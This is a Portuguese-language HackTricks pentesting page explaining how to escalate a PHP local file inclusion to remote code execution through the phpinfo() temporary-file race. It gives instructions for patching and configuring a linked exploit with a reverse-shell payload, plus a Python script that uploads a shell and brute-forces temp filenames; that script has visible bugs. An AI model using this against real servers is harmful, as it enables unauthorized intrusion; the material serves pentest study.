hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
2023-06-06 18:56:34 +00:00

4.8 KiB

Para explorar essa vulnerabilidade, você precisa de: uma vulnerabilidade LFI, uma página onde phpinfo() é exibido, "file_uploads = on" e o servidor tem que ser capaz de escrever no diretório "/tmp".

https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Você precisa corrigir o exploit (troque => por = >). Para fazer isso, você pode fazer:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Você também precisa alterar o payload no início do exploit (por exemplo, para um php-rev-shell), o REQ1 (isso deve apontar para a página phpinfo e deve incluir o preenchimento, ou seja: REQ1 = """POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), e LFIREQ (isso deve apontar para a vulnerabilidade LFI, ou seja: LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r -- Verifique o duplo "%" ao explorar o caractere nulo)

{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}

Teoria

Se os uploads são permitidos no PHP e você tenta fazer upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor tenha terminado de processar a solicitação e, em seguida, esse arquivo temporário é excluído.

Então, se você encontrou uma vulnerabilidade LFI no servidor da web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.

No Windows, os arquivos geralmente são armazenados em C:\Windows\temp\php<<

No Linux, o nome do arquivo costuma ser aleatório e localizado em /tmp. Como o nome é aleatório, é necessário extrair de algum lugar o nome do arquivo temporário e acessá-lo antes que seja excluído. Isso pode ser feito lendo o valor da variável $_FILES dentro do conteúdo da função "phpconfig()".

phpinfo()

O PHP usa um buffer de 4096B e quando ele está cheio, ele é enviado para o cliente. Então, o cliente pode enviar muitas solicitações grandes (usando cabeçalhos grandes) fazendo upload de um shell reverso php, aguardar a primeira parte do phpinfo() ser retornada (onde está o nome do arquivo temporário) e tentar acessar o arquivo temporário antes que o servidor php exclua o arquivo, explorando uma vulnerabilidade LFI.

Script Python para tentar forçar o nome (se o comprimento for 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥